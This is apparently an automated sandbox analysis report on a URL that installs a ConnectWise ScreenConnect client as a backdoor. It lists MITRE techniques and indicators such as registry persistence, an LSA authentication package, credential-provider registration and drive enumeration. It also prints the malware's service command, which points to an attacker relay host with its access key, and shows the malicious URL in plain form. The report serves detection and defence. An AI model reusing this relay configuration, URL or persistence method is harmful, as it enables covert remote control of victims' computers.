hxxps://uniabjpoliticalsciencejournals[.]com[.]ng/mein-emmental/

Analysis

user interaction
yes
max time kernel
133s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
21/08/2026, 04:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://uniabjpoliticalsciencejournals.com.ng/mein-emmental/
Sample260821-evcclasfkh

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
58	3892	msiexec.exe
60	4776	rundll32.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (8db655b205bc7fc2)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (8db655b205bc7fc2)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-yjwtek-relay.screenconnect.com&p=443&s=ef49e288-7c4e-4554-a887-c280eac8de6c&k=BgIAAACkAABSU0ExAAgAAAEAAQAhADT2mJ%2bsNroLwX6qJuNDo3cMCgBb76vaTqq1eQ8r4%2b3wHOD046tKkAVnOdVsnQavNexjunYWxfXNBg2F2KvV7M0lERlJ0MQD%2bbmZFH3pYJ9TiphXfaiDHgSNPshkJL%2f5Ets0cfDEC5bQSI1gJnB8%2fWjqrwWXFLQ%2fOswUSjjLbCuvtZcWFDZHV6A%2fTOBsd%2fli1svNYZvElZTi%2fOxPOSSJGloHLgC4vF0PtY8F2V%2blxYRSF%2bJYZamvorKlZf9hPomRMv1N8tj35j9ZUHpJO6ZamVq4Ynnxjv37jgOmqCD8%2fRb9nuJTpI4zNsqgD31%2bWvhHLCjXHLUtBrJifGzNGO7E&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAqT%2f8alWmC0y496L4X7O%2f2wAAAAACAAAAAAAQZgAAAAEAACAAAABDHhLOu70DGdsYWPABiManoj8O31%2bEHkreXuFi%2fnAQhAAAAAAOgAAAAAIAACAAAAC0EXAAk8F6YR0i00BSaWP8guo38rjGL%2fwJ7m51EnL5XaAEAAAszqte%2bk5Mp7Bp0zLqbySuWoc84bXHCL1EHoIefM165ZXAbR4koG1xPX4OS3C16uAx8hjmGOAsk3dEIWzKnBfe4dxrKwpuQp5hDpsS12PAnd5wVkjTcw33E1I%2ffMgv2660VmFutAeonQPSR%2b%2b3KHnA7ZU2fqV91lUAOpUZpCPPRUXQwC5OKM1%2fRiHqsQDO5PLTbhPEmvGqYSjhF5VTAyS%2bRutHpRCQDzi8jj3WrLxvhgi8nAluDJbBmz5dOJ0rozdodSNTTB3gWUk%2fJ%2fuEvCUtDswtO7afT8X9zKsx%2b%2fGxcdWfJOfHcT%2fRNlQNGvqTtyF91EKfbV5I4bP7RTfvxDhqI81IQevRBEC0R6qE5alaF%2f75THrahrx6Ud3QTpkV%2bJ8IUkYOawJ5CJlbXn0h6I2IwLXDTYOgdzs%2fS6ED1MvH8BiYBJJuMYLLsLKWEks9wXolgDnL9ziqXcBg7GPH1diOpJg0vElVT8Z2ZLcDSH6yZJg7W%2ftsq0LICqNfA1RmIKaxQGmbwfZiJfKpKjqs%2bvqJJlu3zeMmkCjBCzrWnA8FtbRVbUH01x5CMO1bmcLvsatR80%2bhJV%2ffNtb7d%2bIbolfjvIsRSuhrakxG1QbOD%2fpr5Y3v98MNkB%2bA9VNpaTk7ihxT5nrAh8RhtHowKijNwUQPFa96Yi48nkqCDXrkoOS4xvrSqP7KTZH0RFHfRuK1FAqpLCQ29kAr9ih2mP7Zps6SPuZ7TRyWr13J4MpaUN1Oi6guOwas20pMHohwFG8zXe5%2ffURjsdXiub4l%2fNdc0aohmL9rae7nt0w5C0k25FmrQxOj424zE6oFCgFkBOf1li0xxKQHSE6iTUX2tpU265L1mwh1f0VhKm5%2bTUibaGZyu0N8aVZcImlVzkB%2fhPZqi3LrqOmxWQ%2bTVWxz3GVc%2bmSUb9OMsQ2XeummdWVMiv8Wdhx27eo7ZK0zn86PLAwAnoltA8hxcB%2bNk7FnL5pGyv6zpEh92tGqQFS1wEN1sUKg7XEhu%2bA4fzb%2fUf7R8Zs7yh6ndKfRB1yBAxc146dNSGB2wm9QZLVxxcJOa0UtvRqa%2b8j5OhcX4p30uCkBrvNNV54wq0k8E1JbFgFTIVGMs%2bYZljcgAz9lEFeHw5qF3zIpO81rP7LVnQK5gcBIjYqSLtToVc%2fIzvolq6QBY1eaPjXUDUbyDOHOtY4qqggtLQah%2fP%2fg5kV6iABxxZalPMO4YVj2YmPn5JNvWTreiCbr6tjzXXMHUJ3JWp29%2fq8KJG4X0snmboDA1WKrf3HSL3y6t9Wlq%2buPYYI1W6FqJe7lGTxfFRZ%2fIqSVCssY8DQOnU4UBNRWKkTJKDz6C3JOdMue7aV8tYh23RRzdyNOJJKyt4H1eDQFhpgc5MWowbPGsqTljSR32RWpgW70ZrdzQjXyGFE5ysgSal1EmxGIorSUQg3sKLJmt1u3PIKT24POH0bD9hUT0ZiOIMiODJImLmrVx9PXLhsyoJ6%2fNkhNk91HwULbwvIswMRjzS0ZP%2fY7F612TAOUD%2f8LYuAxsIdblmBeeIsytw3ZgHoV2WPwauuPBvxiSdETvh6UoAKtLpbXTfXnnkAAAACm86XFoI4aqTe49muwDJLLlewH1vMeZ4ScCoE69JtCAW2lldfdrl7LYYpPrh8zasrqa7GZ4orTW%2fwsKso06ioE\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 2 IoCs

pid	Process
2624	ScreenConnect.ClientService.exe
4680	ScreenConnect.WindowsClient.exe

Loads dropped DLL 42 IoCs

pid	Process
3380	MsiExec.exe
4140	rundll32.exe
4140	rundll32.exe
4140	rundll32.exe
4140	rundll32.exe
4140	rundll32.exe
4140	rundll32.exe
4140	rundll32.exe
4140	rundll32.exe
4140	rundll32.exe
3380	MsiExec.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
3380	MsiExec.exe
3408	rundll32.exe
3408	rundll32.exe
3408	rundll32.exe
3408	rundll32.exe
3408	rundll32.exe
3408	rundll32.exe
3408	rundll32.exe
3408	rundll32.exe
3408	rundll32.exe
1128	MsiExec.exe
4784	MsiExec.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe
2624	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
31	api.ipify.org
32	api.ipify.org
35	api.ipify.org

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800380064006200360035003500620032003000350062006300370066006300320029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 33 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\34dgeon2.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\obdjflok.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\1ov0uu1y.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\ztzgeufy.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\gbzvia11.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\1ov0uu1y.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\rtqju3tj.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\obdjflok.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\obdjflok.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\ggxjxm1r.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\1ov0uu1y.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\ztzgeufy.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\rtqju3tj.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\tesb5vyx.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\tesb5vyx.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\fxsgprqf.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\fxsgprqf.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\fxsgprqf.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\y3m5ny1t.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\y3m5ny1t.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\y3m5ny1t.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\ggxjxm1r.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\cvzx1dmv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\rtqju3tj.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\gbzvia11.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\cvzx1dmv.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\cvzx1dmv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\tesb5vyx.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\gbzvia11.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\ztzgeufy.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\34dgeon2.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\ggxjxm1r.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8db655b205bc7fc2)\system.config	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e592b00.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{E15294B2-0A1D-AD62-EE61-9148AD10A66B}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e592afe.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E15294B2-0A1D-AD62-EE61-9148AD10A66B}	msiexec.exe
File created	C:\Windows\Installer\{E15294B2-0A1D-AD62-EE61-9148AD10A66B}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e592afe.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2CE2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2D41.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3495.tmp	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4948	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000524fef632b0bf5150000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000524fef630000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900524fef63000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a524fef63000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d524fef63000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 11 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134317593231763865"	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe

Modifies registry class 41 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8db655b205bc7fc2\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-4300-18D2BFCAD7CF}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-4300-18D2BFCAD7CF}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (8db655b205bc7fc2)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2B49251ED1A026DAEE161984DA016AB6	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8db655b205bc7fc2\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-4300-18D2BFCAD7CF}\ = "ScreenConnect Client (8db655b205bc7fc2) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2B49251ED1A026DAEE161984DA016AB6\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\ProductName = "ScreenConnect Client (8db655b205bc7fc2)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\PackageCode = "2B49251ED1A026DAEE161984DA016AB6"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\BE35CE759AD18992D86B552B50CBF72C	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-889581200-2041691093-2048517887-1000\{150340AA-21E8-4D8C-B9D4-F4F40DE05791}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8db655b205bc7fc2	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8db655b205bc7fc2\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\Version = "436469763"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B49251ED1A026DAEE161984DA016AB6\AuthorizedLUAApp = "0"	msiexec.exe
